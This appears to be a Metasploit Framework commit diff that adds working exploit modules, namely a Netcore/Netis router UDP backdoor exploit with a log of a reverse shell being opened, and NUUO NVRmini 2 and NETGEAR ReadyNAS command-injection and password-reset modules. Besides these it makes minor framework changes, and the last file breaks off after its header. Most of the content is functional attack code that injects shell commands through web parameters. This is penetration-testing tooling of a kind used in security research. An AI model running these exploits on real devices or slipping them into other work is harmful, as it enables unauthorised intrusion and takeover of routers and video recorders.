commit
b38ba54b67
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.17)
|
||||
metasploit-framework (4.12.18)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
|
|
@ -0,0 +1,94 @@
|
|||
### Vulnerable Devices
|
||||
Trend Micro lists "almost all" models as being vulnerable in August 2014.
|
||||
|
||||
Vulnerable AND Exploitable:
|
||||
|
||||
1. Netcore NI360 second-generation
|
||||
|
||||
Vulnerable, but not Exploitable via this module (details later):
|
||||
|
||||
1. Netis WF2414 firmware V1.4.27001
|
||||
|
||||
### Lab Emulation
|
||||
1. Install qemu
|
||||
2. Download and install mipsel. Please read the [tutorial](https://people.debian.org/%7Eaurel32/qemu/mipsel/README.txt)
|
||||
3. Starts the mipsel lab
|
||||
1. `qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413`
|
||||
4. Put [vuln_squashfs-root.tar.gz](https://github.com/rapid7/metasploit-framework/files/267284/vuln_squashfs-root.tar.gz) to mipsel lab, extract it.
|
||||
1. `scp -P22222 vuln_squashfs-root.tar.gz root@127.0.0.1:/root`
|
||||
2. `tar xvf vuln_squashfs-root.tar.gz`
|
||||
5. Run vuln programs.
|
||||
1. `cd nw614 && chroot . /bin/igdmptd`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the emulator/hardware
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploits/linux/misc/netcore_udp_53413_backdoor`
|
||||
4. Do: `set RHOST <ip>`
|
||||
5. Do: `check`
|
||||
6. Do: `exploit`
|
||||
7. You should get a shell.
|
||||
|
||||
## Exploitability
|
||||
|
||||
As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit.
|
||||
During [testing](https://github.com/rapid7/metasploit-framework/pull/6880#issuecomment-231597626) it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted.
|
||||
In these cases, it should be possible to use [other scripts](https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py) to act as a fake interactive shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following is an example of a vulnerable AND EXPLOITABLE router.
|
||||
|
||||
```
|
||||
use exploits/linux/misc/netcore_udp_53413_backdoor
|
||||
msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1
|
||||
RHOST => 192.168.1.1
|
||||
msf exploit(netcore_udp_53413_backdoor) > check
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(netcore_udp_53413_backdoor) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] Exploiting...
|
||||
[*] Command Stager progress - 12.54% done (196/1563 bytes)
|
||||
[*] Command Stager progress - 25.08% done (392/1563 bytes)
|
||||
[*] Command Stager progress - 37.62% done (588/1563 bytes)
|
||||
[*] Command Stager progress - 50.16% done (784/1563 bytes)
|
||||
[*] Command Stager progress - 62.70% done (980/1563 bytes)
|
||||
[*] Command Stager progress - 75.24% done (1176/1563 bytes)
|
||||
[*] Command Stager progress - 87.78% done (1372/1563 bytes)
|
||||
[*] Command Stager progress - 100.00% done (1563/1563 bytes)
|
||||
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500
|
||||
|
||||
pwd
|
||||
/
|
||||
ls
|
||||
bin
|
||||
cfg
|
||||
dev
|
||||
etc
|
||||
lib
|
||||
linuxrc
|
||||
log
|
||||
proc
|
||||
sbin
|
||||
sh
|
||||
sys
|
||||
tmp
|
||||
usr
|
||||
var
|
||||
web
|
||||
```
|
||||
|
||||
The following is an example of a vulnerable but NOT expoitable router.
|
||||
|
||||
```
|
||||
msf > use exploits/linux/misc/netcore_udp_53413_backdoor
|
||||
msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf exploit(netcore_udp_53413_backdoor) > check
|
||||
|
||||
[+] Backdoor Unlocked
|
||||
[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
|
||||
[*] The target service is running, but could not be validated.
|
||||
```
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.17"
|
||||
VERSION = "4.12.18"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -50,6 +50,7 @@ class CommandShell
|
|||
def initialize(*args)
|
||||
self.platform ||= ""
|
||||
self.arch ||= ""
|
||||
self.max_threads = 1
|
||||
super
|
||||
end
|
||||
|
||||
|
@ -235,6 +236,7 @@ class CommandShell
|
|||
|
||||
attr_accessor :arch
|
||||
attr_accessor :platform
|
||||
attr_accessor :max_threads
|
||||
|
||||
protected
|
||||
|
||||
|
|
|
@ -69,6 +69,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
# Don't pass the datastore into the init_meterpreter method
|
||||
opts.delete(:datastore)
|
||||
|
||||
# Assume by default that 10 threads is a safe number for this session
|
||||
self.max_threads ||= 10
|
||||
|
||||
#
|
||||
# Initialize the meterpreter client
|
||||
#
|
||||
|
@ -323,6 +326,27 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
|
||||
self.platform =
|
||||
self.sys.config.sysinfo["Architecture"].downcase + '/' +
|
||||
self.platform.split('/')[0] +'/' +
|
||||
case self.sys.config.sysinfo['OS']
|
||||
when /windows/i
|
||||
Msf::Module::Platform::Windows
|
||||
when /darwin/i
|
||||
Msf::Module::Platform::OSX
|
||||
when /freebsd/i
|
||||
Msf::Module::Platform::FreeBSD
|
||||
when /netbsd/i
|
||||
Msf::Module::Platform::NetBSD
|
||||
when /openbsd/i
|
||||
Msf::Module::Platform::OpenBSD
|
||||
when /sunos/i
|
||||
Msf::Module::Platform::Solaris
|
||||
else
|
||||
Msf::Module::Platform::Linux
|
||||
end.realname.downcase
|
||||
|
||||
|
||||
safe_info = "#{username} @ #{sysinfo['Computer']}"
|
||||
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
|
||||
# Should probably be using Rex::Text.ascii_safe_hex but leave
|
||||
|
@ -474,6 +498,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
attr_accessor :skip_ssl
|
||||
attr_accessor :skip_cleanup
|
||||
attr_accessor :target_id
|
||||
attr_accessor :max_threads
|
||||
|
||||
protected
|
||||
|
||||
|
|
|
@ -54,7 +54,8 @@ module Exploit::Remote::HttpClient
|
|||
Opt::SSLVersion,
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout'])
|
||||
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
|
||||
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false])
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -324,9 +325,30 @@ module Exploit::Remote::HttpClient
|
|||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_raw(opts)
|
||||
c.send_recv(r, actual_timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Request:')
|
||||
print_line('#' * 20)
|
||||
print_line(r.to_s)
|
||||
end
|
||||
|
||||
res = c.send_recv(r, actual_timeout)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Response:')
|
||||
print_line('#' * 20)
|
||||
print_line(res.to_s)
|
||||
end
|
||||
|
||||
res
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -343,12 +365,35 @@ module Exploit::Remote::HttpClient
|
|||
actual_timeout = opts[:timeout] || timeout
|
||||
end
|
||||
|
||||
print_line("*" * 20) if datastore['HttpTrace']
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_cgi(opts)
|
||||
c.send_recv(r, actual_timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Request:')
|
||||
print_line('#' * 20)
|
||||
print_line(r.to_s)
|
||||
end
|
||||
|
||||
res = c.send_recv(r, actual_timeout)
|
||||
|
||||
if datastore['HttpTrace']
|
||||
print_line('#' * 20)
|
||||
print_line('# Response:')
|
||||
print_line('#' * 20)
|
||||
print_line(res.to_s)
|
||||
end
|
||||
|
||||
res
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_line(e.message) if datastore['HttpTrace']
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -409,6 +409,10 @@ class Msf::Module::Platform
|
|||
Rank = 700
|
||||
Alias = "10"
|
||||
end
|
||||
class V11
|
||||
Rank = 800
|
||||
Alias = "11"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
|
||||
'Description' => %q{
|
||||
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
|
||||
to an administrator password reset on the exposed web management interface.
|
||||
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
|
||||
(before v1.7.6), otherwise you need an administrative user password.
|
||||
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
|
||||
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
|
||||
in those devices.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-5676'],
|
||||
['US-CERT-VU', '856152'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
|
||||
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 4 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8081),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/']),
|
||||
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
})
|
||||
|
||||
if res && res.code == 401
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'submit' => "Login"
|
||||
}
|
||||
})
|
||||
if res && (res.code == 200 || res.code == 302)
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
|
||||
end
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
})
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
|
||||
print_good("#{peer} - Device has been reset to the default configuration.")
|
||||
else
|
||||
print_error("#{peer} - Failed to reset device.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,176 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable
|
||||
to an authenticated remote code execution on the exposed web administration interface. An administrative
|
||||
account is needed to exploit this vulnerability.
|
||||
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
|
||||
This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.
|
||||
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
|
||||
in those devices.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-5675'],
|
||||
['US-CERT-VU', '856152'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
|
||||
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 },
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'NUUO NVRmini 2', {
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'netcat generic perl'
|
||||
}
|
||||
},
|
||||
}],
|
||||
[ 'ReadyNAS NETGEAR Surveillance', {
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'netcat generic perl'
|
||||
}
|
||||
},
|
||||
}],
|
||||
[ 'NUUO Crystal', {
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'bash'
|
||||
}
|
||||
},
|
||||
}],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 4 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8081),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def id_target
|
||||
return target if target.name != 'Automatic'
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
if res && res.code == 200
|
||||
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
|
||||
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
|
||||
return targets[2]
|
||||
elsif res.body.to_s =~ /v_web_login_login_type/
|
||||
print_status("#{peer} - Identified NUUO Crystal as the target.")
|
||||
return targets[3]
|
||||
else
|
||||
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
|
||||
return targets[1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'submit' => "Login"
|
||||
}
|
||||
})
|
||||
|
||||
if res && (res.code == 200 || res.code == 302)
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
|
||||
end
|
||||
|
||||
my_target = id_target
|
||||
if my_target == targets[1]
|
||||
if payload.raw.include?("perl")
|
||||
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.")
|
||||
end
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'act' => "update",
|
||||
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded
|
||||
}
|
||||
}, 1)
|
||||
elsif my_target == targets[2]
|
||||
if payload.raw.include?("netcat")
|
||||
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.")
|
||||
end
|
||||
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
|
||||
# it up.
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'act' => "update",
|
||||
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ")
|
||||
}
|
||||
}, 1)
|
||||
else
|
||||
if not payload.raw.include?("exec")
|
||||
fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.")
|
||||
end
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'act' => "update",
|
||||
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw
|
||||
}
|
||||
}, 1)
|
||||
end
|
||||
handler
|
||||
end
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance application are vulnerable
|
||||
to an unauthenticated remote code execution on the exposed web administration interface.
|
||||
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
|
||||
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
|
||||
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
|
||||
in those devices.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-5674'],
|
||||
['US-CERT-VU', '856152'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
|
||||
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 },
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false, # Runs as root in NVRmini 2, admin in ReadyNas
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
|
||||
'DisableNops' => true,
|
||||
# No encoder works, so we have to work around these badchars manually
|
||||
#'BadChars' => "\x2f\x00\x3b\x27\x22",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'openssl generic telnet perl'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'NUUO NVRmini 2', { } ],
|
||||
[ 'ReadyNAS NETGEAR Surveillance', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 4 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8081),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def send_payload (payload, wait)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "__debugging_center_utils___.php"),
|
||||
'vars_get' => { 'log' => rand_text_alpha(8 + rand(8)) + ";" + payload }
|
||||
}, wait)
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
echo = rand_text_alpha(9 + rand(9))
|
||||
res = send_payload("echo #{echo}", 20)
|
||||
if res && res.body.to_s =~ /([#{echo}]{2})/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def id_target
|
||||
return target if target.name != 'Automatic'
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
if res && res.code == 200
|
||||
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
|
||||
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
|
||||
return targets[2]
|
||||
else
|
||||
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
|
||||
return targets[1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
my_target = id_target
|
||||
if my_target == targets[1]
|
||||
#
|
||||
# The command cannot have forward slashes, single quotes or double quotes, so we remove
|
||||
# the redir to /dev/null and the single quotes in the Metasploit payload. Because of the
|
||||
# latter we also have to remove the "sh -c" part for the command to execute properly.
|
||||
#
|
||||
# This all sounds messy, but it was impossible to get any payload to encode properly as the
|
||||
# target is an embedded system without base64, perl, python, ruby and similar utilities.
|
||||
#
|
||||
# We also have to check for perl, awk and lua as these are valid payloads for the ReadyNAS
|
||||
# but not for the NVRmini 2.
|
||||
#
|
||||
# Also because of Metasploit payload limitations we cannot specify different payload constraints
|
||||
# for different targets, so we use the payload raw for the NVRmini 2 and encoded for the ReadyNAS.
|
||||
#
|
||||
if payload.raw.include?("perl")
|
||||
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or telnet payloads.")
|
||||
end
|
||||
payload_clean = payload.raw.gsub('>/dev/null', '').gsub('sh -c', '').gsub('"','').gsub("'",'')
|
||||
if not payload_clean =~ /([\/'"]+)/
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_payload(payload_clean, 1)
|
||||
handler
|
||||
else
|
||||
fail_with(Failure::Unknown, "Your payload cannot have any of the following characters: / ' \"")
|
||||
end
|
||||
elsif my_target == targets[2]
|
||||
#
|
||||
# The ReadyNAS has less char restrictions (it only fails with forward slash) but it also
|
||||
# does not have the telnet binary.
|
||||
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
|
||||
# it up.
|
||||
#
|
||||
if payload.raw.include? "telnet"
|
||||
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).")
|
||||
end
|
||||
print_status("#{peer} - Executing payload...")
|
||||
payload_clean = payload.raw.gsub("-MIO ", "-MIO::Socket ")
|
||||
send_payload("echo #{Rex::Text.encode_base64(payload_clean)} | base64 -d | sh", 1)
|
||||
handler
|
||||
else
|
||||
fail_with(Failure::Unknown, "Failed to pick a target")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,123 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Netcore Router Udp 53413 Backdoor',
|
||||
'Description' => %q{
|
||||
Routers manufactured by Netcore, a popular brand for networking
|
||||
equipment in China, have a wide-open backdoor that can be fairly
|
||||
easily exploited by attackers. These products are also sold under
|
||||
the Netis brand name outside of China. This backdoor allows
|
||||
cyber criminals to easily run arbitrary code on these routers,
|
||||
rendering it vulnerable as a security device.
|
||||
Some models include a non-standard echo command which doesn't
|
||||
honor -e, and are therefore not currently exploitable with
|
||||
Metasploit. See URLs or module markdown for additional options.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Nixawk',
|
||||
'h00die <mike@shorebreaksecurity.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
|
||||
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
|
||||
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['MIPS Little Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
['MIPS Big Endian',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 25 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
|
||||
Opt::RPORT(53413)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def timeout
|
||||
(datastore['TIMEOUT'] || 1000) / 1000.0
|
||||
end
|
||||
|
||||
def send_command(data)
|
||||
payload = "\x00" * 8
|
||||
payload << data
|
||||
udp_sock.put(payload)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts)
|
||||
send_command(cmd)
|
||||
vprint_status("Sending: #{cmd}")
|
||||
end
|
||||
|
||||
def authenticate()
|
||||
# netcore is the password to unlock the backdoor
|
||||
send_command('netcore')
|
||||
resp = udp_sock.get(timeout)
|
||||
if resp.include?('Login succeeded!')
|
||||
vprint_good('Backdoor Unlocked')
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
connect_udp
|
||||
authenticate
|
||||
resp = []
|
||||
tmp_file = Rex::Text.rand_text_alpha(5)
|
||||
# we need to test the echo command to see if it plays nice
|
||||
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
|
||||
send_command(command)
|
||||
resp << udp_sock.get(timeout)
|
||||
end
|
||||
disconnect_udp
|
||||
resp_str = resp.join(',')
|
||||
# check if we got a good response back
|
||||
if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
|
||||
# some routers have a non-standard echo which doesn't support -en, so we need to detect that
|
||||
if resp_str.include?('en ')
|
||||
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
|
||||
Exploit::CheckCode::Detected
|
||||
else
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Exploiting...')
|
||||
connect_udp
|
||||
authenticate
|
||||
execute_cmdstager(:flavor => :echo, :linemax => 200)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
|
@ -0,0 +1,230 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
